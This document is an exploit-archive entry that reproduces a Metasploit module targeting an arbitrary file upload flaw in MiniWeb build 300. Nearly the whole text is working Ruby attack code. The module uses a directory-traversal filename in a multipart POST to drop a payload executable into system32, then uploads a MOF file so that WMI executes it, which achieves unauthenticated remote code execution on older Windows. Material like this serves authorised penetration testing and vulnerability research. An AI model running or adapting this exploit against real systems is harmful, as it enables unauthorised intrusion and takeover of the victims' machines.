MiniWeb (Build 300) Arbitrary File Upload



EKU-ID: 3433 CVE: OSVDB-ID: 92200
Author: Akastep Published: 2013-08-15 Verified: Verified
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##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
#   http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = ExcellentRanking

	HttpFingerprint = { :pattern => [ /MiniWeb/ ] }

	include Msf::Exploit::Remote::HttpClient
	include Msf::Exploit::EXE
	include Msf::Exploit::WbemExec
	include Msf::Exploit::FileDropper

	def initialize(info={})
		super(update_info(info,
			'Name'           => "MiniWeb (Build 300) Arbitrary File Upload",
			'Description'    => %q{
				This module exploits a vulnerability in MiniWeb HTTP server (build 300).
				The software contains a file upload vulnerability that allows an
				unauthenticated remote attacker to write arbitrary files to the file system.

				Code execution can be achieved by first uploading the payload to the remote
				machine as an exe file, and then upload another mof file, which enables
				WMI (Management Instrumentation service) to execute the uploaded payload.
				Please note that this module currently only works for Windows before Vista.
			},
			'License'        => MSF_LICENSE,
			'Author'         =>
				[
					'AkaStep', # Initial discovery
					'Brendan Coles <bcoles[at]gmail.com>', # Metasploit
				],
			'References'     =>
				[
					['OSVDB', '92198'],
					['OSVDB', '92200'],
					['URL',   'http://dl.packetstormsecurity.net/1304-exploits/miniweb-shelltraversal.txt']
				],
			'Payload'        =>
				{
					'BadChars' => "\x00",
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					# Tested on MiniWeb build 300, built on Feb 28 2013
					# - Windows XP SP3 (EN)
					['MiniWeb build 300 on Windows (Before Vista)', {}]
				],
			'Privileged'     => true,
			'DisclosureDate' => "Apr 9 2013",
			'DefaultTarget'  => 0))

		register_options([
			Opt::RPORT(8000),
			OptInt.new('DEPTH', [true, 'Traversal depth', 10])
		], self.class)

	end

	def peer
		"#{rhost}:#{rport}"
	end

	def check

		begin
			uri = normalize_uri(target_uri.path.to_s, "#{rand_text_alpha(rand(10)+5)}")
			res = send_request_cgi({
				'method'  => 'GET',
				'uri'     => uri
			})
		rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Timeout::Error, ::Errno::EPIPE
			fail_with(Exploit::Failure::Unreachable, "#{peer} - Connection failed")
		end

		if !res or res.headers['Server'].empty?
			return Exploit::CheckCode::Unknown
		elsif res.headers['Server'] =~ /^MiniWeb$/
			return Exploit::CheckCode::Detected
		end

		return Exploit::CheckCode::Unknown

	end

	def upload(filename, filedata)

		print_status("#{peer} - Trying to upload '#{::File.basename(filename)}'")
		uri   = normalize_uri(target_uri.path.to_s, "#{rand_text_alpha(rand(10)+5)}")
		depth = "../" * (datastore['DEPTH'] + rand(10))

		boundary   = "----WebKitFormBoundary#{rand_text_alphanumeric(10)}"
		post_data  = "--#{boundary}\r\n"
		post_data << "Content-Disposition: form-data; name=\"file\"; filename=\"#{depth}#{filename}\"\r\n"
		post_data << "Content-Type: application/octet-stream\r\n"
		post_data << "\r\n#{filedata}\r\n"
		post_data << "--#{boundary}\r\n"

		begin
			res = send_request_cgi({
				'method'  => 'POST',
				'uri'     => uri,
				'ctype'   => "multipart/form-data; boundary=#{boundary}",
				'data'    => post_data
			})
		rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::Timeout::Error, ::Errno::EPIPE
			fail_with(Exploit::Failure::Unreachable, "#{peer} - Connection failed")
		end

		return res

	end

	def exploit
		fname = "#{rand_text_alpha(rand(10)+5)}"

		# upload exe
		exe_name = "WINDOWS/system32/#{fname}.exe"
		exe = generate_payload_exe
		print_status("#{peer} - Sending executable (#{exe.length.to_s} bytes)")
		upload(exe_name, exe)

		# upload mof
		mof_name = "WINDOWS/system32/wbem/mof/#{fname}.mof"
		mof = generate_mof(::File.basename(mof_name), ::File.basename(exe_name))
		print_status("#{peer} - Sending MOF (#{mof.length.to_s} bytes)")
		upload(mof_name, mof)

		# list files to clean up
		register_file_for_cleanup("#{::File.basename(exe_name)}")
		register_file_for_cleanup("wbem\\mof\\good\\#{::File.basename(mof_name)}")
	end

end